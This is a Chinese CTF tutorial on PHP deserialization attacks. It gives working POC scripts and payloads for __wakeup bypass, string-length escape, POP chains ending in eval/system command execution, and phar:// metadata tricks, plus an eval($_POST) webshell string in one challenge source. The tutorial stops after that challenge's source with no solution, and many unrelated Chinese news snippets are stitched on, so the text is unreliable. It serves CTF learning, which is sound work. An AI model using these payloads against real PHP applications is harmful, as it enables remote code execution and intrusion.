PHP反序列化新手入门学习总结
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 php反序列化简单理解
首先我们需要理解什么是序列化,什么是反序列化?
PHP序列化:serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
而PHP反序列化:unserialize()
反序列化是将字符串转换成变量或对象的过程
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化
说这么多不如直接一点测试一下
php序列化的字母标识
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N - NULL
测试一下 <?php class TEST{ public $test1="11"; private $test2="22"; protected $test3="33"; public function test4() { echo $this->test1; } } $a=new TEST(); echo serialize($a); //O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
O代表类,然后后面4代表类名长度,接着双引号内是类名
然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}
protected 和private其实是有不可打印字符的,所以这里附上截图
从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写
有时候做题时为了防止传参中有啥意外,一般就会urlencode一下 什么是魔术方法?
做php反序列化的题总会遇到魔术方法
其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作
举个例子如下,这里用常见的 construct和 destruct魔术方法,其实就是构造函数和析构函数 <?php class A{ public $a="这里是__construct"; public function __construct() { echo $this->a; } public function __destruct() { echo $this->a="这里是__destruct"; } } $a=new A();
//输出这里是 construct这里是 destruct
后边的题中也会给一些测试魔术方法的例子
想买给出魔术方法触发的情况,这对解题有很大帮助
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。
【----帮助网安学习,需要网安学习资料关注我,私信回复"资料"免费获取----】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)简单的反序列化题
题目来自[SWPUCTF 2021 新生赛]ez_unserialize <?php error_reporting(0); show_source("cl45s.php"); class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET["p"]; unserialize($p); ?>
在 construct方法里admin被赋值为user,passwd被赋值为123456,而在 destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag
php反序列化是可以控制类方法的属性但不能改类方法的代码
于是我们直接更改就行, <?php class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="admin"; $this->passwd = "ctf"; } } $a=new wllm(); echo urlencode(serialize($a)); ?>
然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。 __wakeup绕过
这个其实是个CVE,CVE-2016-7124
影响版本php5<5.6.25,php7<7.010
简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
而魔术方法__wakeup执行unserialize()时,先会调用这个函数
写个代码本地测试一下 <?php class A{ public $a; public function __construct() { $this->a="触发__construct"; } public function __wakeup() { $this->a="触发__wakeup"; } public function __destruct() { echo $this->a; } } $a=new A(); echo serialize($a);
O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下
反序列化一下,输出触发__wakeup
O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2
触发__construct,绕过了wakeup [极客大挑战 2019]PHP __wakeup()绕过<?php include "class.php"; $select = $_GET["select"]; $res=unserialize(@$select); <?php include "flag.php"; error_reporting(0); class Name{ private $username = "nonono"; private $password = "yesyes"; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = "guest"; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === "admin") { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can"t give you the flag!"; die(); } } }
看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;
这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看 //$a=new Name("admin","100"); //echo urlencode(serialize($a)); //echo serialize($a); $b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D"; var_dump(unserialize(urldecode($b)));
那么修改对象个数为大于2
O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
得到flag
POC <?php class Name{ private $username = "admin"; private $password = "100"; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new Name("admin","100"); echo urlencode(serialize($a)); //echo serialize($a); //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D ?>反序列化逃逸问题
逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞
所以会有两种情况,一种是由长变短,一种是由短变长 由长变短
自己随手写个题测试下 <?php highlight_file(__FILE__); class A { public $a; public $b; public $c; public function __construct() { $this->a=$_GET["a"]; $this->b="noflag"; $this->c=$_GET["c"]; } public function check() { if ($this->b==="123") { echo "flag{123dddd}"; } else if ($this->a==="test") { echo "give you flag"; } else { echo "no flag"; } } public function __destruct() { $this->check(); } } $a=new A(); $b=serialize($a); $c=str_replace("aa","b",$b); unserialize($c);
这里本地写一个测试简单利用下,学会这个逃逸思路即可 $b=serialize($a); echo $b; $c=str_replace("aa","b",$b); echo($c); //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,
$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉
开始构造
然后计算要吞噬掉多少位
print(len("";s:1:"b";s:6:"noflag";s:1:"c";s:3:")) print(36*"aa") //35 //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa
a=36个aa,c=;s:1:"b";s:3:"123
这样构造出来为 O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";} bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17: print(len("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:"))
刚好为72个,成功反序列化,得到flag
由短变长
题目来自ctfshowWEB262 index.php <?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token="user"; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET["f"]; $m = $_GET["m"]; $t = $_GET["t"]; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace("fuck", "loveU", serialize($msg)); setcookie("msg",base64_encode($umsg)); echo "Your message has been sent"; }
highlight_file( FILE );
从题目注释里可以找到message.php
message.php源码 <?php highlight_file(__FILE__); include("flag.php"); class message{ public $from; public $msg; public $to; public $token="user"; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE["msg"])){ $msg = unserialize(base64_decode($_COOKIE["msg"])); if($msg->token=="admin"){ echo $flag; } }
很明显,要想得到flag要把token值更改为admin
但是正常反序列化,字符串个数是固定的,$umsg = str_replace("fuck", "loveU", serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下 <?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace("fuck","loveU",serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了
因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位
那么需要27个fuck就行
payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路 POP链构造
做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下 [SWPUCTF 2021 新生赛]pop
题目源码 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = "aaa"; protected $passwd = "123456"; public function Getflag(){ if($this->admin === "w44m" && $this->passwd ==="08067"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "nono"; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET["w00m"]; unserialize($w00m); ?>
POP链入手,先找关键代码,然后推断
需要admin为w44m,passwd为08067 才能得到flag
if($this->admin === "w44m" && $this->passwd ==="08067"){
echo $flag;
发现可以利用$this->w00m->{$this->w22m}();
这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了
在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法
前面魔术方法提到
__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,
链子构造为 w22m::__destruct->w33m::toString->w44m::getflag
poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符 <?php class w44m{ private $admin = "w44m"; protected $passwd = "08067"; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); echo urlencode( serialize($a)); ?>[NISACTF 2022]babyserialize<?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun="abc"; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET["ser"])){ @unserialize($_GET["ser"]); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?> 查看了一下提示发现什么也没有 if(isset($_GET["ser"])){@unserialize($_GET["ser"]); 这是头部 这是尾部 public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever); }
从__invoke()这里开始触发
__invoke() 当脚本尝试将对象调用为函数时触发
return $bb()而这里有一个函数调用
那么$bb是class Nisa的对象就会调用 __invoke
触发$bb要调用 __toString()
而__toString()是
当一个对象被当作一个字符串被调用。
找类似echo 这种代码,而这里有个strtolower
strtolower是在set方法里的
__set触发
在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
在four类的中有private $fun="abc";
Ilovetxw类中的__call方法访问了fun这个变量 function __call($from,$val){ $this->fun=$val[0]; }
而__call方法
对不存在的方法或者不可访问的方法进行调用就自动调用
TianXiWei类中的 wakeup会触发 call
$this->ext->nisa($this->x); nisa()这个方法并不存在
这里详细说下 <?php class nisa { public $b=""; } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class test { public $a =""; public function __call($a,$b) { echo "call"; } } $a=new TianXiWei(); $a->ext=new test(); //echo urlencode(serialize($a)); echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;} //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果
链子很清晰了 TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke POC <?php class NISA { public $fun = ""; public $txw4ever = "sYstem("ls /");";//有过滤,大小写绕过 } class TianXiWei{ public $ext; public $x; } class Ilovetxw{ public $huang; public $su; } class four{ public $a="TXW4EVER"; private $fun="abc"; } $a=new TianXiWei();//从这里下手触发__wakeup $a->ext=new Ilovetxw();//触发__call $a->ext->huang=new four();//触发__set $a->ext->huang->a=new Ilovetxw();//触发__tosrting $a->ext->huang->a->su=new NISA();//触发__invoke echo urlencode(serialize($a));
相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造 phar反序列化
单的理解phar反序列化 phar是什么?
phar是php提供的一类文件的后缀名称,也是php伪协议的一种。 phar可以干什么?
将多个php文件合并成一个独立的压缩包,相对独立
不用解压到硬盘就可以运行php脚本
支持web服务器和命令行运行
注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
phar文件的的结构
一个phar文件通常由四部分组成,
1. a stub:可以理解为一个标志,格式为xxx <?php xxx; __HALT_COMPILER();?> ,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents:被压缩文件的内容。这里不是重点,内容不影响
4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾 <?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
生成一个phar.phar文件
拉进010分析
可以清楚看到一个标识符,一个序列化,一个文件名
有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下 is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file <?php highlight_file(__FILE__); class Test {//自定义 public $name="phpinfo();"; } $phar=new phar("rce.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o=new Test(); $phar->setMetadata($o); $phar->addFromString("flag.txt","flag");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
这里用file_get_contents测试下 <?php class test{ public $name=""; public function __destruct() { eval($this->name); } } echo file_get_contents("phar://rce.phar/flag.txt"); ?>
漏洞利用条件 phar文件要能够上传到服务器端。 要有可用的魔术方法作为"跳板"。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
姿势 compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar
可以用于文件上传,有文件上传头限制,还可以这样,例如GIF
$phar->setStub("GIF89a"." <?php __HALT_COMPILER(); ?> "); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif[SWPUCTF 2021 新生赛]babyunser phar反序列化
查看class.php获取源码 <?php class aa{ public $name; public function __construct(){ $this->name="aa"; } public function __destruct(){ $this->name=strtolower($this->name); } } class ff{ private $content; public $func; public function __construct(){ $this->content="<?php @eval($_POST[1]);?>"; } public function __get($key){ $this->$key->{$this->func}($_POST["cmd"]); } } class zz{ public $filename; public $content="surprise"; public function __construct($filename){ $this->filename=$filename; } public function filter(){ if(preg_match("/^/|php:|data|zip|..//i",$this->filename)){ die("这不合理"); } } public function write($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } public function getFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return $contents; }else{ die("404 not found"); } } public function __toString(){ $this->{$_POST["method"]}($_POST["var"]); return $this->content; } } class xx{ public $name; public $arg; public function __construct(){ $this->name="eval"; $this->arg="phpinfo();"; } public function __call($name,$arg){ $name($arg[0]); } } <?php error_reporting(0); $filename=$_POST["file"]; if(!isset($filename)){ die(); } $file=new zz($filename); $contents=$file->getFile(); ?>
国际象棋提前锁定升甲席位,杭州国象又添一支甲级队钱江晚报小时新闻记者张峰2月10日傍晚,2022年全国国际象棋乙级联赛在海南昌江棋子湾结束了倒数第二轮比赛,杭州市棋类协会队3比2击败黑龙江队。拿下这场胜利后,杭州市棋类协会队以8
五羊杯第二轮,蒋川对郑惟桐,黑这时候能否平车抓双?五羊杯第二轮,蒋川(红)对郑惟桐(黑)的对局,第136回合,红兵七平六后如下局面。黑方这时候走了象3进1。当时在看直播,很多棋友评论为什么黑不车6平4抓双?爱思考的棋友们试试思考1
日本旅行跟着头文字D的脚步,开启群马初冬之旅上一次来到群马的旅行,还是2019年的秋天。匆匆忙忙的,只是去了草津温泉和伊香保温泉而已,然而群马的印象中,第一想到的肯定是那个耳熟能详的头文字D呀!所以,趁着秋天还没有结束,初冬
有一类老人带娃,方法得当,自己不累家庭和睦儿女还感恩周末带优米在小区玩,碰到几个老人凑在一起,可可奶奶有些激动,边上几位老人也是轻声安慰算了,婆媳关系就没和睦的,看开点去听八卦,原来可可奶奶前几天买了一盒摔炮,却因此和儿媳吵了一架。
成就感让孩子变得自信来源中国教师报孩子自卑的原因很多,有的是因为成绩不好表现不佳产生的消极心态,有的是因为在集体中缺乏存在感导致的自我否定,有的是因为身体残疾不接纳自己,等等。班主任要想帮助学生走出自
可怕!这些东西竟然都是被孩子吞下过的!以防万一,这个方法家长必看!据科普中国近日,浙江杭州一名2岁幼童一直咳嗽。声音像小狗叫,已50天未见好转。家长携幼童前往浙江大学医学院附属儿童医院就诊,X光片显示患儿食管内卡着一枚硬币。图源网络医生紧急联系消
近现代学前教育理论流派狭义的学前教育理论流派是某位学前教育家的理论得到传播和应用而形成的派别。广义的学前教育理论流派泛指某一历史时期内持相同或相近的学前教育理论主张的人而形成的学前教育派别,这一派的理论
给孩子喝点饮料没什么?大错特错!这种饮料一口都不能给孩子喝家庭聚餐的餐桌上,总少不了各种饮料的身影果汁可乐奶茶等应有尽有偏爱甜食的孩子往往禁不住诱惑,缠着父母想要喝1杯。这一喝,就变成了2杯3杯4杯5杯小编真心不建议你这么做,过早或过多摄
培养延迟满足,三岁后再做来源生命时报国家二级心理咨询师琚金民在育儿过程中,孩子总会有大大小小的各种需求,如果家长全都一一满足顺从,可能会导致溺爱。也因此,延迟满足教育法一直备受推崇。延迟满足是指以放弃当下
远洲集团旗下远洲旅业创新融汇在地文化满足游客文化探索需求对于追求品质化精致化的新世代旅行者而言,旅行不再是走马观花式的景点打卡,而是更加注重对在地文化的深度探索。注重消费者需求的变化,远洲集团旗下远洲旅业通过建筑设计室内装饰非遗文化展览
春节越境一日游见闻刚在头条上看一短视频,一东北男人今年春节从河口到越南老街市一日游。遇越南卖小食的小贩是一小姐,交谈中,小姐坦言想嫁中国男人。此情此景,不由想起我的一段往事。2012年大年初一,我和
各地推动旅游深度融合打造新业态呈现新亮点央视网消息以文塑旅,以旅彰文,推进文化和旅游深度融合发展,已经成为新时期文化和旅游产业相互赋能的重要手段。眼下,各地正不断推动旅游的深度融合模式,打造新业态呈现新亮点,探索旅游高质
男人上了年纪,建议这3种酒尽量别碰,都是酒精勾兑的,没好处!男人上了年纪,建议这3种酒尽量别碰,都是酒精勾兑的,没好处!都说酒是中年男人最好的朋友,这人一上了年纪,烦心事会越来越多,压力大的时候,自然而然的就会想喝点酒,喝到微醺的时候,好像
济南植物园的垂枝樱花,垂柳状的枝头挂满樱花宋沿东摄济南植物园的垂枝樱花,垂柳状的枝头挂满樱花济南植物园的垂枝樱花,垂柳状的枝头挂满樱花济南植物园的垂枝樱花,垂柳状的枝头挂满樱花济南植物园的垂枝樱花,垂柳状的枝头挂满樱花济南
为什么刚吃完饭还会觉得饿?1。胃内容物缓慢释放我们的胃可以容纳相当多的食物,而这些食物消化起来需要时间。当我们吃饭时,食物会进入胃中,胃开始分泌消化液,将食物消化成更小的颗粒,并且放缓胃排空的速度。在这个过
时隔8年,河北冲超悬案揭晓,难怪里皮都做不到的,李铁却做到了文彬少侃球(首发)足坛反腐持续进行,在中纪委巡视体育局数日后,取得了许多突破性进展,比如于洪臣被抓,这条大鱼被抓的话,牵扯面非常广泛,因为当初他在足协担任副主席的时候,正是金元足球
别把衰老当成病,过了60岁能做到这9点,就是健康老人随着现代医学的不断发展,人们对于长寿的渴求也越来越强烈。但是,随着年龄的增长,人们往往会遭遇各种各样的健康问题,如高血压糖尿病骨质疏松等等。因此,如何在晚年保持健康,成为了许多老年
51岁大哥,长期服用六味地黄丸,结果如何?医生无非2种结果现在人们也是越来越注重养生,通过饮食运动的方式来达到健康长寿的目的,当然也有一些人会通过中药的方式来滋补身体。就比如说六味地黄丸,也是加重肠胃的一种中成药物,能够帮助缓解腰酸软,起
天天吃食用油,但这3种油劝你少碰!油,是美食的灵魂所在,能让食物口感酥脆气味变香色泽亮润。它还是人体必需脂肪酸和维生素E的重要来源,并能帮助食物中维生素A维生素D等脂溶性维生素的吸收利用。所以烹饪时加适量油是有利于
人参猪肚粥补气又养胃用猪肚炖汤煮粥是民间的一种常见做法,尤其是对体质虚弱的人,往往还会加些药材一起来达到滋补作用。今天就给大家介绍一款简单实用的滋补粥。材料粳米100克人参35克熟猪肚片100克。配料
这个周末,邀你嘉年华上来碰杯!老外街美食美酒嘉年华时间3月31日4月2日(周五周日)周五18002200周六周日14002200地址闵行区虹梅路3338弄图文区文旅局编辑高淑婷转载请注明来自今日闵行官方微信特别
这家湖南民间菜,又土又可爱很意外,大连居然能找到这么一家充满乡土气息的湖南民间菜馆。进门就被震撼到了,以为穿越到了某个湖南当地小村子。一整面墙的地方食材和调料,高高悬起的自制腊肉腊鱼,一大缸一大缸的腌菜泡椒